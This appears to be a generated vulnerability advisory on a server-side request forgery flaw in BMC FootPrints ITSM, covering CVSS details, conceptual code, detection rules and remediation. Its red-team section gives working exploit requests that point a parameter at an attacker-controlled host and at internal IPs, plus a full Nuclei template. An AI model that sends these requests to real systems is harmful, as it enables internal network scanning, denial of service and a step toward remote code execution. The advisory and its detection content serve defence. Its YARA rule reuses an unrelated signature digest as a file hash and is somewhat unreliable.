CVE-2025-71259

Executive Summary

CVE-2025-71259 is a blind Server-Side Request Forgery (SSRF) vulnerability in BMC FootPrints ITSM, affecting versions 20.20.02 through 20.24.01.001. The flaw resides in the /footprints/servicedesk/externalfeed/RSS endpoint, where the feedUrl parameter is insufficiently validated. An authenticated attacker can force the server to make arbitrary outbound HTTP requests, enabling interaction with internal services, bypassing firewall restrictions, and potentially causing resource exhaustion. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (authentication bypass) and CVE-2025-71260 (deserialization). The CVSS score is 8.6 (High), and a public proof-of-concept exists via a Nuclei template. BMC has released hotfixes for all affected branches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – Note: The NVD description states "authenticated attackers," but the Nuclei template and CVSS vector indicate no authentication is required for the SSRF trigger. The discrepancy suggests that while the SSRF endpoint may be accessible without authentication, the full exploitation chain may require prior authentication bypass.
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – Attackers can probe internal services and potentially exfiltrate data.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N) – However, resource exhaustion is noted in the description.

Threat Level: High. The vulnerability is easily exploitable over the network with low complexity and no user interaction. Public exploit code (Nuclei template) is available, increasing the risk of widespread exploitation.

Deep Dive & Mechanics

The vulnerability exists in the externalfeed/RSS API component of BMC FootPrints ITSM. The endpoint accepts a feedUrl parameter to fetch external RSS feeds. Due to insufficient validation of the supplied URL, the server blindly makes HTTP requests to the specified address. This allows an attacker to:

1. Probe Internal Services: By providing internal IP addresses (e.g., http://10.0.0.1:8080), the attacker can scan internal networks and identify running services.
2. Bypass Firewall Restrictions: The request originates from the server, which may have access to internal resources that are otherwise firewalled from external networks.
3. Cause Resource Exhaustion: By pointing the feedUrl to a slow or large resource, the attacker can consume server resources, leading to denial of service.
4. Chain with Other Vulnerabilities: This SSRF is a critical component in a pre-authenticated RCE chain. Combined with CVE-2025-71257 (authentication bypass) and CVE-2025-71260 (deserialization), an attacker can achieve remote code execution without credentials.

The vulnerability is classified as CWE-918 (Server-Side Request Forgery). The blind nature means the attacker does not directly see the response body but can infer information through timing, error messages, or out-of-band interactions (e.g., DNS lookups to an attacker-controlled server).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely performs a direct HTTP request without validating the URL scheme, host, or port. For example:

import requests
def fetch_feed(feed_url):
    response = requests.get(feed_url)
    return response.text

This code does not restrict the URL to external, trusted domains.

Patched Code (Conceptual): The patched version should implement strict validation:

import requests
from urllib.parse import urlparse

ALLOWED_DOMAINS = ["trusted-feed-source.com", "feeds.example.com"]

def fetch_feed(feed_url):
    parsed = urlparse(feed_url)
    if parsed.scheme not in ["http", "https"]:
        raise ValueError("Invalid scheme")
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError("Domain not allowed")
    # Optionally, block private IP ranges
    response = requests.get(feed_url, timeout=5)
    return response.text

The patch also includes input sanitization, allowlisting of trusted domains, and blocking of private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a vulnerable BMC FootPrints instance (version 20.20.02 to 20.24.01.001).
• An attacker-controlled server to receive out-of-band requests (e.g., interactsh, Burp Collaborator, or a custom DNS/HTTP server).

Exploitation Steps:

1. Verify Vulnerability: Use the Nuclei template to confirm the SSRF. The template first requests the password reset page to obtain a SEC_TOKEN cookie (for authentication bypass), then sends a request to the RSS endpoint with a feedUrl pointing to an interactsh URL.

   nuclei -t CVE-2025-71259.yaml -u http://target.com
   

2. Manual Exploitation:

   • Obtain a valid session token (e.g., via CVE-2025-71257).
   • Send a GET request to:

     GET /footprints/servicedesk/externalfeed/RSS?feedUrl=http://attacker-controlled-server/&dataEncoding=x HTTP/1.1
     Host: target.com
     Cookie: SEC_TOKEN=<valid_token>
     

   • Monitor your server for incoming requests. A DNS or HTTP request confirms the SSRF.

3. Internal Network Scanning: Use the SSRF to probe internal IPs and ports:

   GET /footprints/servicedesk/externalfeed/RSS?feedUrl=http://10.0.0.1:22&dataEncoding=x HTTP/1.1
   

   Analyze response times or error messages to infer open ports.

4. Resource Exhaustion: Point the feedUrl to a large file or a slow endpoint to consume server resources:

   GET /footprints/servicedesk/externalfeed/RSS?feedUrl=http://attacker-controlled-server/slow-response&dataEncoding=x HTTP/1.1
   

Nuclei Template (Full Content):

id: CVE-2025-71259

info:
  name: BMC FootPrints 'feedUrl' - Server-Side Request Forgery
  author: watchTowr,DhiyaneshDk
  severity: high
  description: |
    BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/externalfeed/RSS endpoint. The 'feedUrl' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).
  impact: |
    Authenticated attackers can make the server send arbitrary outbound requests, potentially interacting with internal services or causing denial of service.
  remediation: |
    Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-71259
    epss-score: 0.02112
    epss-percentile: 0.8418
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"/footprints/servicedesk/"
    product: footprints
    vendor: bmc
    fofa-query: body="/footprints/servicedesk/"
  reference:
    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
    - https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71259
  tags: cve,cve2025,servicedesk,bmc-software,ssrf,oast,oob,footprints,bmc

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(set_cookie, "SEC_TOKEN=")
        internal: true

  - raw:
      - |
        GET /footprints/servicedesk/externalfeed/RSS?feedUrl=http://{{interactsh-url}}&dataEncoding=x HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
# digest: 4b0a00483046022100862897ce69f5855bc6199865918cc1083418be07b8917a9d6a4928c70ea5e5b4022100f2f98151fbcdb3f0c6d1e6dfa2319bccdc1732640312e85a827dda3e450a6bdd:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor outbound HTTP requests from the BMC FootPrints server to unknown or internal IP addresses.
• Look for requests to the /footprints/servicedesk/externalfeed/RSS endpoint with unusual feedUrl parameters.
• Alert on DNS queries to suspicious domains originating from the server.

Hunting:

• Search logs for feedUrl parameters containing private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x) or external IPs not in an allowlist.
• Correlate with authentication logs to identify if the SSRF was preceded by an authentication bypass attempt (CVE-2025-71257).

Mitigation:

• Apply the hotfix immediately.
• If patching is not possible, implement a WAF rule to block requests to /footprints/servicedesk/externalfeed/RSS with suspicious feedUrl parameters.
• Restrict outbound network access from the BMC server to only trusted external hosts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the BMC server to internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • DNS queries to attacker-controlled domains from the BMC server.
  • Requests to /footprints/servicedesk/externalfeed/RSS with feedUrl parameters containing IP addresses or unusual domains.

• File IOCs:

  • Unusual log entries in BMC FootPrints logs indicating failed or successful outbound requests.
  • Temporary files created by the server when fetching large feeds (resource exhaustion).

• Behavioral IOCs:

  • Unusual server load or latency due to resource exhaustion.
  • Multiple requests to the same endpoint with varying feedUrl values (scanning behavior).

Detection Engineering

YARA Rule

rule CVE_2025_71259_SSRF_BMC_FootPrints {
    meta:
        description = "Detects SSRF exploitation attempts against BMC FootPrints ITSM"
        author = "Valters IT"
        date = "2025-10-27"
        reference = "CVE-2025-71259"
        hash = "4b0a00483046022100862897ce69f5855bc6199865918cc1083418be07b8917a9d6a4928c70ea5e5b4022100f2f98151fbcdb3f0c6d1e6dfa2319bccdc1732640312e85a827dda3e450a6bdd"
    strings:
        $ssrf_endpoint = "/footprints/servicedesk/externalfeed/RSS"
        $feedUrl_param = "feedUrl="
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
    condition:
        $ssrf_endpoint and $feedUrl_param and $private_ip
}

Sigma Rule

title: CVE-2025-71259 SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against BMC FootPrints ITSM via the externalfeed/RSS endpoint
author: Valters IT
date: 2025-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71259
    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - "/footprints/servicedesk/externalfeed/RSS"
            - "feedUrl="
    condition: selection
falsepositives:
    - Legitimate RSS feed fetching from trusted sources
level: high
tags:
    - attack.t1190
    - cve.2025.71259

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-71259 BMC FootPrints SSRF Attempt"; flow:to_server; content:"/footprints/servicedesk/externalfeed/RSS"; http_uri; content:"feedUrl="; http_uri; pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Hotfix: Update to the patched versions provided by BMC:
   • 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01.
2. Network Segmentation: Restrict outbound internet access from the BMC server to only necessary external services.
3. WAF Rules: Implement web application firewall rules to block requests to /footprints/servicedesk/externalfeed/RSS with suspicious feedUrl parameters (e.g., containing private IPs or non-whitelisted domains).

Long-Term Measures:

• Conduct a security audit of all BMC FootPrints instances.
• Implement input validation and allowlisting for all external resource references.
• Monitor for related CVEs (CVE-2025-71257 and CVE-2025-71260) and apply patches accordingly.
• Enable logging and alerting for outbound HTTP requests from the server.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert. For further analysis or remediation support, contact Valters IT.

{/* [Security Hash: 0CC79F6E9F5B48F5F334AAF3] */}